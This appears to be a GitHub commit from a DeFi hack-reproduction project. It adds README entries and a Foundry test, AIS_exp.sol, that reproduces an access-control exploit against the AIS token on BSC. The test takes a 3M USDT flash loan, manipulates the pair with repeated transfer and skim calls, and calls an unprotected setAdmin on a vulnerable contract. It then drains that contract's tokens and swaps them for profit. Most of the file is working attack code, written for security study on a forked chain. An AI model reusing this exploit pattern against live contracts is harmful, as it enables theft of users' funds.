Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#487 from Autosaida/main
Browse files Browse the repository at this point in the history
  • Loading branch information
SunWeb3Sec authored Nov 30, 2023
2 parents 2af780e + 574c2e9 commit b8a14e2
Show file tree
Hide file tree
Showing 2 changed files with 134 additions and 2 deletions.
36 changes: 34 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

**Reproduce DeFi hack incidents using Foundry.**

326 incidents included.
327 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -33,6 +33,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
- Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )

## List of Past DeFi Incidents
[20231129 AIS](#20231129-ais---access-control)

[20231125 TheNFTV2](#20231125-thenftv2---logic-flaw)

[20231117 Token8633_9419](#20231117-token8633_9419---price-manipulation)
Expand Down Expand Up @@ -719,8 +721,28 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

### List of DeFi Hacks & POCs

### 20231129 AIS - Access Control

### Lost: ~$61k

Testing

```sh
forge test --contracts ./src/test/AIS_exp.sol -vvv
```

#### Contract

[AIS_exp.sol](src/test/AIS_exp.sol)

#### Link reference

https://twitter.com/Phalcon_xyz/status/1729861048004391306

---

### 20231125 TheNFTV2 - logic flaw
[20231125 TheNFTV2](#20231125-thenftv2---logic-flaw)

### Lost: ~$19K

Test
Expand All @@ -729,6 +751,16 @@ Test
forge test --contracts ./src/test/TheNFTV2_exp.sol -vvv
```

#### Contract

[TheNFTV2_exp.sol](src/test/TheNFTV2_exp.sol)

#### Link Reference

https://x.com/MetaTrustAlert/status/1728616715825848377

---

### 20231117 Token8633_9419 - Price Manipulation

### Lost: ~$52K
Expand Down
100 changes: 100 additions & 0 deletions src/test/AIS_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo -- Total Lost : ~$61k
// Frontrunner: https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891
// Original Attacker: https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D
// Frontrunner Contract: https://bscscan.com/address/0x15ffd1d02b3918c9e56f75e30d23786d3ef2b5bc
// Original Attack Contract: https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351
// Vulnerable Contract:
// https://bscscan.com/address/0x6844ef18012a383c14e9a76a93602616ee9d6132
// https://bscscan.com/address/0xffac2ed69d61cf4a92347dcd394d36e32443d9d7
// Attack Tx: https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0

// @Analysis
// https://twitter.com/Phalcon_xyz/status/1729861048004391306

interface IAIS is IERC20 {
function setSwapPairs(address _address) external;
function harvestMarket() external;
}

interface VulContract {
function setAdmin(address _admin) external;
function transferToken(address _from, address _to, uint256 _tokenId) external;
}

contract AISExploit is Test {
IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
IAIS AIS = IAIS(0x6844Ef18012A383c14E9a76a93602616EE9d6132);

Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
Uni_Pair_V2 usdt_ais = Uni_Pair_V2(0x1219F2699893BD05FE03559aA78e0923559CF0cf);
Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

VulContract vulContract = VulContract(0xFFAc2Ed69D61CF4a92347dCd394D36E32443D9d7);

function setUp() public {
vm.createSelectFork("bsc", 33916687);

vm.label(address(usdt), "USDT");
vm.label(address(AIS), "AIS");
vm.label(address(pool), "pool");
vm.label(address(usdt_ais), "usdt_ais pair");
vm.label(address(router), "router");
}

function testExploit() public {
uint256 balanceBefore = usdt.balanceOf(address(this));

usdt.approve(address(router), type(uint256).max);
AIS.approve(address(router), type(uint256).max);

pool.flash(address(this), 3_000_000 ether, 0, new bytes(1));
uint256 balanceAfter = usdt.balanceOf(address(this));
emit log_named_decimal_uint("USDT profit", balanceAfter - balanceBefore, usdt.decimals());
}

function pancakeV3FlashCallback(uint256 fee0, uint256 /*fee1*/, bytes memory /*data*/) public {
swap(3_000_000 ether, address(usdt), address(AIS));

usdt_ais.skim(address(this));
for (uint i = 0; i < 100; i++) {
uint balance = AIS.balanceOf(address(this));
AIS.transfer(address(usdt_ais), balance*90/100);
AIS.transfer(address(usdt_ais), 0);
usdt_ais.skim(address(this));
usdt_ais.skim(address(this));
}

AIS.harvestMarket();
vulContract.setAdmin(address(this));

uint256 amount = AIS.balanceOf(address(vulContract)) * 90 / 100;
vulContract.transferToken(address(AIS), address(this), amount);
AIS.setSwapPairs(address(this));

AIS.transfer(address(usdt_ais), AIS.balanceOf(address(this)));
AIS.transfer(address(usdt_ais), 0);
swap(0, address(AIS), address(usdt));

usdt.transfer(address(pool), 3_000_000 ether + fee0);
}

function swap(uint256 amountIn, address tokenIn, address tokenOut) internal {
address [] memory path = new address[](2);
path[0] = tokenIn;
path[1] = tokenOut;
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amountIn,
0,
path,
address(this),
block.timestamp
);
}

}

0 comments on commit b8a14e2

Please sign in to comment.